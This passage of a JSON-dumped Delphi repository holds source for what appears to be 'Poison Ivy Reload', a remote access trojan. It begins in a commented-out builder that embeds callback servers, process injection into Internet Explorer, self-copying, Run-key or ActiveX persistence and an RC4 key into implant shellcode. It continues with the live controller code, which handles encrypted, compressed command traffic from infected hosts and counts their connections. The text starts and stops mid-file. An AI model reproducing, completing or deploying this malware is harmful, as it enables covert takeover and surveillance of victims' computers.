string;\n//  ss: TStringStream;\n//  i: Integer;\n//begin\n//  Result := True;\n//  if FShellCode.Size <> 0 then\n//    FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);\n//\n//  ss := TStringStream.Create();\n//  try\n//    temp := Format(\n//      '// Generated by Poison Ivy Reload 0.0.1' + #13#10 +\n//      '// http://www.github.com' + #13#10 +\n//      '// Length: 0x%.8x (bytes)' + #13#10 +\n//      'PIshellcode: array[0..%d] of byte = ' + #13#10 +\n//      '(' + #13#10#09,\n//      [FShellData.Size, FShellData.Size]);\n//    ss.WriteString(temp);\n//\n//    for i := 1 to FShellData.Size do\n//    begin\n//\n//      if i = FShellData.Size then\n//      begin\n//        temp := Format('0x%.2x', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);\n//        temp := temp + #13#10 + ');';\n//      end else\n//      begin\n//        temp := Format('$%.2x, ', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);\n//        if (i mod 16) = 0 then\n//          temp := temp + #13#10#09;\n//      end;\n//\n//      ss.WriteString(temp);\n//    end;\n//\n//    ss.SaveToFile(filename);\n//  except\n//    on e: Exception do\n//    begin\n//      MessageBox(0, PChar(e.Message), 0, 0);\n//      Result := False;\n//    end\n//  end;\n//  FreeAndNil(ss);\n//end;\n//\n//function TBuilder.SaveToPythonArray(filename: string): Boolean;\n//var\n//  temp: string;\n//  ss: TStringStream;\n//  i: Integer;\n//begin\n//  Result := True;\n//  if FShellCode.Size <> 0 then\n//    FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);\n//\n//  ss := TStringStream.Create();\n//  try\n//    temp := Format(\n//      '# Generated by Poison Ivy Reload 0.0.1' + #13#10 +\n//      '# http://www.github.com' + #13#10 +\n//      '# Length: 0x%.8x (bytes)' + #13#10 +\n//      'PIshellcode = \\' + #13#10 + '''',\n//      [FShellData.Size]);\n//    ss.WriteString(temp);\n//\n//    for i := 1 to FShellData.Size do\n//    begin\n//\n//      if i = FShellData.Size then\n//      begin\n//        temp := Format('\\x%.2x''', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);\n//      end else\n//      begin\n//        temp := Format('\\x%.2x', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);\n//        if (i mod 16) = 0 then\n//          temp := temp + ''' + \\'+ #13#10 + '''';\n//      end;\n//\n//      ss.WriteString(temp);\n//    end;\n//\n//    ss.SaveToFile(filename);\n//  except\n//    on e: Exception do\n//    begin\n//      MessageBox(0, PChar(e.Message), 0, 0);\n//      Result := False;\n//    end\n//  end;\n//  FreeAndNil(ss);\n//end;\n//\n//procedure TBuilder.WriteAnsiString(s: AnsiString);\n//var\n//  tmp: Word;\n//begin\n//  tmp := Length(s) * SizeOf(AnsiChar);\n//  FShellData.Write(tmp, SizeOf(tmp));\n//  FShellData.Write(PAnsiChar(s)^, tmp);\n//end;\n//\n//procedure TBuilder.WriteBoolean(b: Boolean);\n//var\n//  byt: Byte;\n//  tmp: Word;\n//begin\n//  byt := 0;\n//  if (b) then byt := 1;\n//  tmp := 1;\n//  FShellData.Write(tmp, SizeOf(tmp));\n//  FShellData.Write(byt, SizeOf(byt));\n//end;\n//\n//procedure TBuilder.WriteByte(b: Byte);\n//var\n//  tmp: Word;\n//begin\n//  tmp := 1;\n//  FShellData.Write(tmp, SizeOf(tmp));\n//  FShellData.Write(b, SizeOf(b));\n//end;\n//\n//procedure TBuilder.WriteConfigEnd;\n//begin\n//  WriteOffset(0);\n//end;\n//\n//procedure TBuilder.WriteDNSList(s: string);\n//var\n//  sl, sl2: TStringList;\n//  i: Integer;\n//  ans: AnsiString;\n//  port, w: Word;\n//  ms: TMemoryStream;\n//begin\n//  WriteOffset(get_server_list_offset());\n//\n//  if s <> '' then\n//  begin\n//    sl := TStringList.Create;\n//    sl2 := TStringList.Create;\n//    ms := TMemoryStream.Create;\n//    try\n//      sl.Delimiter := ',';\n//      sl.DelimitedText := s;\n//\n//      for i := 0 to sl.Count - 1 do\n//      begin\n//        sl2.Delimiter := ':';\n//        sl2.DelimitedText := sl.Strings[i];\n//\n//        ans := sl2.Strings[0];\n//        port := StrToInt(sl2.Strings[1]);\n//\n//        // write ip\n//        ms.Write(PAnsiChar(ans)^, Length(ans) + 1);\n//        // write port\n//        ms.Write(port, SizeOf(port));\n//      end;\n//\n//      // write total len\n//      w := ms.Size;\n//      FShellData.Write(w, SizeOf(w));\n//      FShellData.Write(PAnsiChar(ms.Memory)^, ms.Size);\n//    finally\n//      FreeAndNil(ms);\n//      FreeAndNil(sl);\n//      FreeAndNil(sl2);\n//    end;\n//  end;\n//end;\n//\n//procedure TBuilder.WriteID(s: AnsiString);\n//begin\n//  WriteOffset(get_id_offset());\n//  WriteAnsiString(s);\n//end;\n//\n//procedure TBuilder.WriteInject(inject_to_ie: Boolean; filename: string);\n//begin\n//  FShellCode.Write(PAnsiChar(get_injecter_ptr)^, get_injecter_size);\n//  FShellCode.Write(PAnsiChar(get_create_ie_process_ptr)^, get_create_ie_process_size);\n//  if not inject_to_ie then\n//  begin\n//    FShellCode.Write(PAnsiChar(get_find_process_by_name_ptr)^, get_find_process_by_name_size);\n//  end;\n//\n//  if inject_to_ie then\n//  begin\n//    WriteOffset(get_inject_to_ie_offset);\n//    WriteBoolean(True);\n//  end else\n//  begin\n//    WriteOffset(get_inject_to_process_offset);\n//    WriteBoolean(True);\n//    WriteOffset(get_inject_process_name_offset);\n//    WriteWideString(filename);\n//  end;\n//end;\n//\n//procedure TBuilder.WriteInstallation(copy_to_system: Boolean; filename: string);\n//begin\n//  FShellCode.Write(PAnsiChar(get_copy_self_ptr)^, get_copy_self_size);\n//\n//  WriteOffset(get_copy_method_offset);\n//  if copy_to_system then\n//    WriteByte(COPY_METHOD_TO_SYSTEM)\n//  else\n//    WriteByte(COPY_METHOD_TO_WINDOWS);\n//\n//  WriteOffset(get_copy_to_offset);\n//  WriteWideString(filename);\n//end;\n//\n//procedure TBuilder.WriteMutex(s: AnsiString);\n//begin\n//  WriteOffset(get_mutex_name_offset);\n//  WriteAnsiString(s);\n//end;\n//\n//procedure TBuilder.WriteOffset(w: Word);\n//begin\n//  FShellData.Write(w, SizeOf(w));\n//end;\n//\n//procedure TBuilder.WritePassword(s: AnsiString);\n//begin\n//  WriteOffset(get_rc4_key_offset());\n//  WriteAnsiString(s);\n//end;\n//\n//procedure TBuilder.WriteSocks5(dns, username, password: AnsiString; port: Word);\n//begin\n//  FShellCode.Write(PAnsiChar(get_connect_server_by_socks5_ptr)^, get_connect_server_by_socks5_size);\n//\n//  // write connect method\n//  WriteOffset(get_connect_method_offset);\n//  WriteByte(CONNECT_METHOD_SOCKS5);\n//\n//  // write dns\n//  WriteOffset(get_socks5_server_offset);\n//  WriteAnsiString(dns);\n//\n//  // write port\n//  WriteOffset(get_socks5_port_offset);\n//  WriteWord(port);\n//\n//  // write username\n//  if username <> '' then\n//  begin\n//    WriteOffset(get_socks5_username_offset);\n//    WriteAnsiString(username);\n//  end;\n//\n//  // write password\n//  if username <> '' then\n//  begin\n//    WriteOffset(get_socks5_password_offset);\n//    WriteAnsiString(password);\n//  end;\n//end;\n//\n//procedure TBuilder.WriteStartUp(isAcitvex: Boolean; s: string);\n//begin\n//  WriteOffset(get_startup_method_offset);\n//\n//  if isAcitvex then\n//  begin\n//    FShellCode.Write(PAnsiChar(get_startup_activex_ptr)^, get_startup_activex_size);\n//\n//    WriteByte(STARTUP_METHOD_ACTIVEX);\n//  end\n//  else\n//  begin\n//    FShellCode.Write(PAnsiChar(get_startup_current_run_ptr)^, get_startup_current_run_size);\n//\n//    WriteByte(STARTUP_METHOD_CURRENT_RUN);\n//  end;\n//\n//  WriteOffset(get_startup_name_offset);\n//  WriteWideString(s);\n//end;\n//\n//procedure TBuilder.WriteWideString(s: WideString);\n//var\n//  tmp: Word;\n//begin\n//  tmp := Length(s) * SizeOf(WideChar);\n//  FShellData.Write(tmp, SizeOf(tmp));\n//  FShellData.Write(PWideChar(s)^, tmp);\n//end;\n//\n//procedure TBuilder.WriteWord(w: Word);\n//var\n//  tmp: Word;\n//begin\n//  tmp := SizeOf(w);\n//  FShellData.Write(tmp, SizeOf(tmp));\n//  FShellData.Write(w, SizeOf(w));\n//end;\n\nend.\n"
  },
  {
    "path": "Client/UnitClientContext.pas",
    "content": "unit UnitClientContext;\n\ninterface\nuses\n  Winapi.Windows, System.SysUtils, System.Classes, System.SyncObjs, diocp_tcp_server, UnitRC4, SimpleMsgPack,\n  Vcl.ComCtrls, UnitGlobal;\n\ntype\n  TClientMessage = class\n    cmd: TCOMMAND;\n    buffer: TMemoryStream;\n  end;\n\n  TClientContext = class(TIocpClientContext)\n  private\n    FBuffer: TMemoryStream;\n    FSendSBox: TRC4_SBOX;\n    FRecvSBox: TRC4_SBOX;\n    FSendLock: TCriticalSection;\n    FIsReceiveBody: Boolean;\n    FPacketHeader: TPROTO_HEADER;\n    FThumbnail_Index: Integer;\n    FImage_Index: Integer;\n    FOperateForm: Pointer;\n  protected\n    procedure DoCleanUp; override;\n    procedure OnRecvBuffer(buf: Pointer; len: Cardinal; ErrCode: WORD); override;\n    procedure OnDisconnected; override;\n    procedure OnConnected; override;\n    procedure ProcessPacket();\n    procedure ProcessMsg(var ms: TMemoryStream);\n    procedure ShrinkBuffer(size: SIZE_T);\n    procedure AddLog(s: string);\n  public\n    constructor Create(); override;\n    destructor Destroy(); override;\n    procedure SendCmd(cmd: TCOMMAND; data: Pointer; size: SIZE_T); overload;\n    procedure SendCmd(cmd: TCOMMAND); overload;\n    procedure SendPing();\n  public\n    property Thumbnail_Index: Integer read FThumbnail_Index write FThumbnail_Index;\n    property Image_Index: Integer read FImage_Index write FImage_Index;\n    property OperateForm: Pointer read FOperateForm write FOperateForm;\n  end;\n\nimplementation\nuses\n  FormMain, UnitCompress;\n\n{ TClientContext }\n\nprocedure TClientContext.AddLog(s: string);\nbegin\n  SendMessage(MainForm.Handle, WM_ADD_STATS, 0, Integer(s));\nend;\n\nconstructor TClientContext.Create();\nbegin\n  inherited Create;\n  FBuffer := TMemoryStream.Create;\n  FSendLock := TCriticalSection.Create;\n  Data := nil;\n  FOperateForm := nil;\nend;\n\ndestructor TClientContext.Destroy;\nbegin\n  FreeAndNil(FBuffer);\n  FreeAndNil(FSendLock);\n  inherited Destroy;\nend;\n\nprocedure TClientContext.DoCleanUp;\nbegin\n  FBuffer.Clear;\n  Self.Data := nil;\n  Self.FOperateForm := nil;\n  inherited DoCleanUp;\nend;\n\nprocedure TClientContext.OnConnected;\nbegin\n  // Ϊصԭ򣬲ÿcreate԰ѳʼkeyдconnect¼\n  rc4_init(FSendSBox, PByte(PAnsiChar(g_Password)), Length(g_Password));\n  rc4_init(FRecvSBox, PByte(PAnsiChar(g_Password)), Length(g_Password));\n  FImage_Index := -1;\n  FThumbnail_Index := -1;\n  FIsReceiveBody := False;\n\n  g_TotalAttempts := g_TotalAttempts + 1;\n  SendMessage(MainForm.Handle, WM_CONNECTED, Integer(Self), 0);\nend;\n\nprocedure TClientContext.OnDisconnected;\nbegin\n  SendMessage(MainForm.Handle, WM_DISCONNECTED, Integer(Self), 0);\nend;\n\nprocedure TClientContext.OnRecvBuffer(buf: Pointer; len: Cardinal;\n  ErrCode: WORD);\nbegin\n  FBuffer.Write(buf, len);\n  ProcessPacket;\nend;\n\nprocedure TClientContext.ProcessMsg(var ms: TMemoryStream);\nvar\n  client_message: TClientMessage;\nbegin\n  // ͳ\n  g_Recv_UnCompressed := g_Recv_UnCompressed + SizeOf(TPROTO_HEADER);\n  if (ms <> nil) then g_Recv_UnCompressed := g_Recv_UnCompressed + ms.Size;\n\n  client_message := TClientMessage.Create;\n  client_message.cmd := TCOMMAND(FPacketHeader.cmd);\n  client_message.buffer := ms;\n\n  if (client_message.cmd = CMD_LOGIN_INFO) then\n  begin\n    g_TotalConnections := g_TotalConnections + 1;\n  end;\n\n  SendMessage(MainForm.Handle, WM_CLIENT_MESSAGE, Integer(Self), Integer(client_message));\n\n  FreeAndNil(client_message);\n  FreeAndNil(ms);\nend;\n\nprocedure TClientContext.ProcessPacket();\nvar\n  ms: TMemoryStream;\n  data: Pointer;\nbegin\n  while True do\n  begin\n    if (not FIsReceiveBody) then\n    begin\n      if (FBuffer.Size < SizeOf(TPROTO_HEADER)) then Exit;\n\n      FPacketHeader := PPROTO_HEADER(FBuffer.Memory)^;\n      rc4_crypt(FRecvSBox, @FPacketHeader, SizeOf(FPacketHeader));\n\n      if (FPacketHeader.signature <> PACKET_HEADER_SIGNATURE) then\n      begin\n        PostWSACloseRequest();\n        AddLog(Format('bad signature = 0x%X.', [FPacketHeader.signature]));\n        Exit;\n      end;\n\n      if (FPacketHeader.packet_size = 0) then\n      begin\n        ms := nil;\n        ProcessMsg(ms);\n        ShrinkBuffer(SizeOf(TPROTO_HEADER));\n        FIsReceiveBody := False;\n      end else\n        FIsReceiveBody := True;\n    end;\n\n    if (FBuffer.Size < FPacketHeader.packet_size + SizeOf(TPROTO_HEADER)) then Exit;\n\n    data := Pointer(PAnsiChar(FBuffer.Memory) + SizeOf(TPROTO_HEADER));\n    rc4_crypt(FRecvSBox, data, FPacketHeader.packet_size);\n\n    ms := TMemoryStream.Create;\n    try\n      ms.SetSize(FPacketHeader.packet_unpacked_size);\n      if (FPacketHeader.packet_unpacked_size <> FPacketHeader.packet_size) then\n      begin\n        if (not decompress(data, FPacketHeader.packet_size, ms.Memory, FPacketHeader.packet_unpacked_size)) then\n        begin\n          PostWSACloseRequest;\n          AddLog('decompress error');\n          Exit;\n        end;\n      end else\n      begin\n        ms.Write(data, FPacketHeader.packet_size);\n      end;\n\n      ShrinkBuffer(FPacketHeader.packet_size + SizeOf(TPROTO_HEADER));\n\n      FIsReceiveBody := False;\n      ms.Seek(0, soBeginning);\n      ProcessMsg(ms);\n    finally\n      FreeAndNil(ms);\n    end;\n  end;\nend;\n\nprocedure TClientContext.SendCmd(cmd: TCOMMAND; data: Pointer; size: SIZE_T);\nvar\n  send_buf: TBytes;\n  buf: Pointer;\n  ph: PPROTO_HEADER;\n  compressed_size: DWORD;\nbegin\n  // ͳ\n  g_Sent_UnCompressed := g_Sent_UnCompressed + size + SizeOf(TPROTO_HEADER);\n\n  SetLength(send_buf, size + SizeOf(TPROTO_HEADER));\n\n  ph := PPROTO_HEADER(send_buf);\n  buf := Pointer(PByte(send_buf) + SizeOf(TPROTO_HEADER));\n\n  ph^.random := Random(GetTickCount());\n  ph^.signature := PACKET_HEADER_SIGNATURE;\n  ph^.cmd := uint8(cmd);\n  ph^.packet_unpacked_size := size;\n\n  if (size >= MIN_COMPRESS_DATA_SIZE) then\n  begin\n    compressed_size := compress(data, size, buf, size);\n  end else\n  begin\n    compressed_size := size;\n    CopyMemory(buf, data, size);\n  end;\n\n  ph^.packet_size := compressed_size;\n\n  FSendLock.Enter;\n  rc4_crypt(FSendSBox, Pointer(ph), SizeOf(TPROTO_HEADER));\n  rc4_crypt(FSendSBox, buf, compressed_size);\n  PostWSASendRequest(send_buf, SizeOf(TPROTO_HEADER) + compressed_size);\n  FSendLock.Leave;\nend;\n\nprocedure TClientContext.SendCmd(cmd: TCOMMAND);\nvar\n  ph: TPROTO_HEADER;\nbegin\n  // ͳ\n  g_Sent_UnCompressed := g_Sent_UnCompressed + SizeOf(TPROTO_HEADER);\n\n  ZeroMemory(@ph, SizeOf(TPROTO_HEADER));\n  ph.random := Random(GetTickCount());\n  ph.signature := PACKET_HEADER_SIGNATURE;\n  ph.cmd := uint8(cmd);\n\n  FSendLock.Enter;\n  rc4_crypt(FSendSBox, @ph, SizeOf(TPROTO_HEADER));\n  PostWSASendRequest(@ph, SizeOf(TPROTO_HEADER));\n  FSendLock.Leave;\nend;\n\nprocedure TClientContext.SendPing;\nvar\n  tick: DWORD;\nbegin\n  tick := GetTickCount;\n  SendCmd(CMD_PING, @tick, SizeOf(tick));\nend;\n\nprocedure TClientContext.ShrinkBuffer(size: SIZE_T);\nbegin\n  if (FBuffer.Size > size) then\n  begin\n    CopyMemory(FBuffer.Memory, PAnsiChar(FBuffer.Memory) + size, FBuffer.Size - size);\n    FBuffer.SetSize(FBuffer.Size - size);\n  end else\n  begin\n    FBuffer.Clear;\n  end;\nend;\n\nend.\n"
  },
  {
    "path": "Client/UnitCommon.pas",
    "content": "unit UnitCommon;\n\ninterface\nuses\n  Winapi.Windows, System.SysUtils, System.StrUtils, System.Types;\n\nfunction GetAccType(i: Integer): string;\nfunction SizeToStr(Size: int64): string;\nfunction GetVersion(ver: DWORD): string;\nfunction GetOsVersion(v: string): string;\n\nimplementation\n\nfunction GetAccType(i: Integer): string;\nbegin\n  if i = 0 then\n    Result := 'Direct'\n  else\n    Result := 'Socks5';\nend;\n\nfunction SizeToStr(Size: int64): string;\nconst\n  K = int64(1024);\n  M = K * K;\n  G = K * M;\n  T = K * G;\nbegin\n  if size < K then\n    Result := Format('%d bytes', [size])\n  else if size < M then\n    Result := Format('%f KB', [size / K])\n  else if size < G then\n    Result := Format('%f MB', [size / M])\n  else if size < T then\n    Result := Format('%f GB', [size / G])\n  else\n    Result := Format('%f TB', [size / T]);\nend;\n\nfunction GetVersion(ver: DWORD): string;\nbegin\n  Result := IntToStr(ver and $f);\n  Result := IntToStr(ver and $f0 shr 4) + '.' + Result;\n  Result := IntToStr(ver and $f00 shr 8) + '.' + Result;\nend;\n\nfunction GetOsVersion(v: string): string;\nvar\n  strs: TStringDynArray;\nbegin\n  Result := 'Unknow';\n\n  strs := SplitString(v, '.');\n  if (Length(strs) <> 4) then Exit;\n\n  if (strs[0] = '5') then\n  begin\n    if (strs[1] = '0') then\n    begin\n      Result := 'Win2000';\n    end else\n    if (strs[1] = '1') then\n    begin\n      Result := 'WinXP';\n    end else\n    if (strs[1] = '2') then\n    begin\n      Result := 'Win2003';\n    end else\n    begin\n      Result := 'Unknow ' + strs[0] + '.' + strs[1];\n    end;\n  end else\n  if (strs[0] = '6') then\n  begin\n    if (strs[1] = '0') then\n    begin\n      Result := 'WinVista'\n    end else\n    if (strs[1] = '1') then\n    begin\n      Result := 'Win7'\n    end else\n    if (strs[1] = '2') then\n    begin\n      Result := 'Win8'\n    end else\n    if (strs[1] = '3') then\n    begin\n      Result := 'Win8.1'\n    end else\n    begin\n      Result := 'Unknow ' + strs[0] + '.' + strs[1];\n    end;\n  end else\n  if (strs[0] = '10') then\n  begin\n    Result := 'Win10';\n  end else\n  begin\n    Result := 'WinNT';\n  end;\n\n  Result := Result + ' Build(' + strs[2] + ')';\nend;\n\nend.\n"
  },
  {
    "path": "Client/UnitCompress.pas",
    "content": "{\n  ʹntdllѹ\n  ʹCOMPRESSION_ENGINE_MAXIMUMǸѹٶȼֱ޷ֱ\n}\nunit UnitCompress;\n\ninterface\nuses\n  Winapi.Windows;\n\nfunction compress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): DWORD;\nfunction decompress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): Boolean;\n\nimplementation\nconst\n  COMPRESSION_FORMAT_DEFAULT = $0001;\n  COMPRESSION_FORMAT_LZNT1 = $0002;\n  COMPRESSION_ENGINE_MAXIMUM = $0100;\n  COMPRESSION_ENGINE_STANDARD = $0000;\n\nfunction RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine: USHORT;\n  var CompressBufferWorkSpaceSize: ULONG; var CompressFragmentWorkSpaceSize: ULONG): LONG; stdcall;\n external 'ntdll.dll' name 'RtlGetCompressionWorkSpaceSize';\n\nfunction RtlCompressBuffer(CompressionFormatAndEngine: USHORT;\n  UncompressedBuffer: Pointer; UncompressedBufferSize: ULONG;\n  CompressedBuffer: Pointer; CompressedBufferSize: ULONG; UncompressedChunkSize: ULONG;\n  var FinalCompressedSize: ULONG; WorkSpace: Pointer): LONG; stdcall;\n external 'ntdll.dll' name 'RtlCompressBuffer';\n\nfunction RtlDecompressBuffer(CompressionFormat: USHORT; UncompressedBuffer: Pointer; UncompressedBufferSize: ULONG;\n  CompressedBuffer: Pointer; CompressedBufferSize: ULONG; var FinalUncompressedSize: ULONG): LONG; stdcall;\n    external 'ntdll.dll' name 'RtlDecompressBuffer';\n\nfunction compress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): DWORD;\nvar\n  compressWorkSpaceSize, compressFragmentSpaceSize, compressedSize: ULONG;\n  workmemory: Pointer;\nbegin\n  Result := 0;\n  if (RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD,\n    compressWorkSpaceSize, compressFragmentSpaceSize) < 0) then Exit;\n  workmemory := GetMemory(compressWorkSpaceSize);\n  if (RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD,\n    src, src_len, dest, dest_len, 0, compressedSize, workmemory) >= 0) then\n  begin\n    Result := compressedSize;\n  end;\n  FreeMemory(workmemory);\nend;\n\nfunction decompress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): Boolean;\nvar\n  ret: LONG;\n  final_len: DWORD;\nbegin\n  Result := True;\n  ret := RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD,\n    dest, dest_len, src, src_len, final_len);\n  if ((ret < 0) or (final_len <> dest_len)) then Result := False;\nend;\n\nend.\n"
  },
  {
    "path": "Client/UnitCountryInfo.pas",
    "content": "unit UnitCountryInfo;\n\ninterface\nuses\n  System.SysUtils;\n\nfunction GetCountryName(ISO3166CTRYNAME: String = ''; Code: integer = -1): String;\nfunction GetCountryImageIndex(ISO3166CTRYNAME: String): Integer;\n\nimplementation\nfunction GetCountryName(ISO3166CTRYNAME: String = ''; Code: integer = -1): String;\nbegin\n  ISO3166CTRYNAME := Uppercase(ISO3166CTRYNAME);\n  Result := 'Unknown';\n\n  if (ISO3166CTRYNAME = 'AF') or (Code = 0) then Result := 'Afghanistan' else\n  if (ISO3166CTRYNAME = 'AX') or (Code = 1) then Result := 'Aland Islands' else\n  if (ISO3166CTRYNAME = 'AL') or (Code = 2) then Result := 'Albania' else\n  if (ISO3166CTRYNAME = 'DZ') or (Code = 3) then Result := 'Algeria ' else\n  if (ISO3166CTRYNAME = 'AS') or (Code = 4) then Result := 'American Samoa' else\n  if (ISO3166CTRYNAME = 'AD') or (Code = 5) then Result := 'Andorra' else\n  if (ISO3166CTRYNAME = 'AO') or (Code = 6) then Result := 'Angola' else\n  if (ISO3166CTRYNAME = 'AI') or (Code = 7) then Result := 'Anguilla' else\n  if (ISO3166CTRYNAME = 'AQ') or (Code = 8) then Result := 'Antarctica' else\n  if (ISO3166CTRYNAME = 'AG') or (Code = 9) then Result := 'Antigua And Barbuda' else\n  if (ISO3166CTRYNAME = 'AR') or (Code = 10) then Result := 'Argentina' else\n  if (ISO3166CTRYNAME = 'AM') or (Code = 11) then Result := 'Armenia' else\n  if (ISO3166CTRYNAME = 'AW') or (Code = 12) then Result := 'Aruba' else\n  if (ISO3166CTRYNAME = 'AU') or (Code = 13) then Result := 'Australia' else\n  if (ISO3166CTRYNAME = 'AT') or (Code = 14) then Result := 'Austria' else\n  if (ISO3166CTRYNAME = 'AZ') or (Code = 15) then Result := 'Azerbaijan' else\n  if (ISO3166CTRYNAME = 'BS') or (Code = 16) then Result := 'Bahamas' else\n  if (ISO3166CTRYNAME = 'BH') or (Code = 17) then Result := 'Bahrain' else\n  if (ISO3166CTRYNAME = 'BD') or (Code = 18) then Result := 'Bangladesh' else\n  if (ISO3166CTRYNAME = 'BB') or (Code = 19) then Result := 'Barbados' else\n  if (ISO3166CTRYNAME = 'BY') or (Code = 20) then Result := 'Belarus' else\n  if (ISO3166CTRYNAME = 'BE') or (Code = 21) then Result := 'Belgium' else\n  if (ISO3166CTRYNAME = 'BZ') or (Code = 22) then Result := 'Belize' else\n  if (ISO3166CTRYNAME = 'BJ') or (Code = 23) then Result := 'Benin' else\n  if (ISO3166CTRYNAME = 'BM') or (Code = 24) then Result := 'Bermuda' else\n  if (ISO3166CTRYNAME = 'BT') or (Code = 25) then Result := 'Bhutan' else\n  if (ISO3166CTRYNAME = 'IO') or (Code = 26) then Result := 'British Indian Ocean Territory' else\n  if (ISO3166CTRYNAME = 'BO') or (Code = 27) then Result := 'Bolivia, Plurinational State Of' else\n  if (ISO3166CTRYNAME = 'BQ') or (Code = 28) then Result := 'Bonaire, Saint Eustatius And Saba' else\n  if (ISO3166CTRYNAME = 'BA') or (Code = 29) then Result := 'Bosnia And Herzegovina' else\n  if (ISO3166CTRYNAME = 'BW') or (Code = 30) then Result := 'Botswana' else\n  if (ISO3166CTRYNAME = 'BV') or (Code = 31) then Result := 'Bouvet Island' else\n  if (ISO3166CTRYNAME = 'BR') or (Code = 32) then Result := 'Brazil' else\n  if (ISO3166CTRYNAME = 'BN') or (Code = 33) then Result := 'Brunei Darussalam' else\n  if (ISO3166CTRYNAME = 'BG') or (Code = 34) then Result := 'Bulgaria' else\n  if (ISO3166CTRYNAME = 'BF') or (Code = 35) then Result := 'Burkina Faso' else\n  if (ISO3166CTRYNAME = 'BI') or (Code = 36) then Result := 'Burundi' else\n  if (ISO3166CTRYNAME = 'KH') or (Code = 37) then Result := 'Cambodia' else\n  if (ISO3166CTRYNAME = 'CM') or (Code = 38) then Result := 'Cameroon' else\n  if (ISO3166CTRYNAME = 'CA') or (Code = 39) then Result := 'Canada' else\n  if (ISO3166CTRYNAME = 'CV') or (Code = 40) then Result := 'Cape Verde' else\n  if (ISO3166CTRYNAME = 'KY') or (Code = 41) then Result := 'Cayman Islands' else\n  if (ISO3166CTRYNAME = 'CF') or (Code = 42) then Result := 'Central African Republic' else\n  if (ISO3166CTRYNAME = 'TD') or (Code = 43) then Result := 'Chad' else\n  if (ISO3166CTRYNAME = 'CL') or (Code = 44) then Result := 'Chile' else\n  if (ISO3166CTRYNAME = 'CN') or (Code = 45) then Result := 'China' else\n  if (ISO3166CTRYNAME = 'CX') or (Code = 46) then Result := 'Christmas Island' else\n  if (ISO3166CTRYNAME = 'CC') or (Code = 47) then Result := 'Cocos (Keeling) Islands' else\n  if (ISO3166CTRYNAME = 'CO') or (Code = 48) then Result := 'Colombia' else\n  if (ISO3166CTRYNAME = 'KM') or (Code = 49) then Result := 'Comoros' else\n  if (ISO3166CTRYNAME = 'CG') or (Code = 50) then Result := 'Congo' else\n  if (ISO3166CTRYNAME = 'CD') or (Code = 51) then Result := 'Congo, The Democratic Republic Of The' else\n  if (ISO3166CTRYNAME = 'CK') or (Code = 52) then Result := 'Cook Islands' else\n  if (ISO3166CTRYNAME = 'CR') or (Code = 53) then Result := 'Costa Rica' else\n  if (ISO3166CTRYNAME = 'HR') or (Code = 54) then Result := 'Croatia' else\n  if (ISO3166CTRYNAME = 'CU') or (Code = 55) then Result := 'Cuba' else\n  if (ISO3166CTRYNAME = 'CY') or (Code = 56) then Result := 'Cyprus' else\n  if (ISO3166CTRYNAME = 'CZ') or (Code = 57) then Result := 'Czech Republic' else\n  if (ISO3166CTRYNAME = 'DK') or (Code = 58) then Result := 'Denmark' else\n  if (ISO3166CTRYNAME = 'DJ') or (Code = 59) then Result := 'Djibouti' else\n  if (ISO3166CTRYNAME = 'DM') or (Code = 60) then Result := 'Dominica' else\n  if (ISO3166CTRYNAME = 'DO') or (Code = 61) then Result := 'Dominican Republic' else\n  if (ISO3166CTRYNAME = 'EC') or (Code = 62) then Result := 'Ecuador' else\n  if (ISO3166CTRYNAME = 'EG') or (Code = 63) then Result := 'Egypt' else\n  if (ISO3166CTRYNAME = 'SV') or (Code = 64) then Result := 'El Salvador' else\n  if (ISO3166CTRYNAME = 'GQ') or (Code = 65) then Result := 'Equatorial Guinea' else\n  if (ISO3166CTRYNAME = 'ER') or (Code = 66) then Result := 'Eritrea' else\n  if (ISO3166CTRYNAME = 'EE') or (Code = 67) then Result := 'Estonia' else\n  if (ISO3166CTRYNAME = 'ET') or (Code = 68) then Result := 'Ethiopia' else\n  if (ISO3166CTRYNAME = 'FK') or (Code = 69) then Result := 'Falkland Islands (Malvinas)' else\n  if (ISO3166CTRYNAME = 'FO') or (Code = 70) then Result := 'Faroe Islands' else\n  if (ISO3166CTRYNAME = 'FJ') or (Code = 71) then Result := 'Fiji' else\n  if (ISO3166CTRYNAME = 'FI') or (Code = 72) then Result := 'Finland' else\n  if (ISO3166CTRYNAME = 'FR') or (Code = 73) then Result := 'France' else\n  if (ISO3166CTRYNAME = 'PF') or (Code = 74) then Result := 'French Polynesia' else\n  if (ISO3166CTRYNAME = 'TF') or (Code = 75) then Result := 'French Southern Territories' else\n  if (ISO3166CTRYNAME = 'GA') or (Code = 76) then Result := 'Gabon' else\n  if (ISO3166CTRYNAME = 'GM') or (Code = 77) then Result := 'Gambia' else\n  if (ISO3166CTRYNAME = 'GE') or (Code = 78) then Result := 'Georgia' else\n  if (ISO3166CTRYNAME = 'DE') or (Code = 79) then Result := 'Germany' else\n  if (ISO3166CTRYNAME = 'GH') or (Code = 80) then Result := 'Ghana' else\n  if (ISO3166CTRYNAME = 'GI') or (Code = 81) then Result := 'Gibraltar' else\n  if (ISO3166CTRYNAME = 'GR') or (Code = 82) then Result := 'Greece' else\n  if (ISO3166CTRYNAME = 'GL') or (Code = 83) then Result := 'Greenland' else\n  if (ISO3166CTRYNAME = 'GD') or (Code = 84) then Result := 'Grenada' else\n  if (ISO3166CTRYNAME = 'GP') or (Code = 85) then Result := 'Guadeloupe' else\n  if (ISO3166CTRYNAME = 'GU') or (Code = 86) then Result := 'Guam' else\n  if (ISO3166CTRYNAME = 'GT') or (Code = 87) then Result := 'Guatemala' else\n  if (ISO3166CTRYNAME = 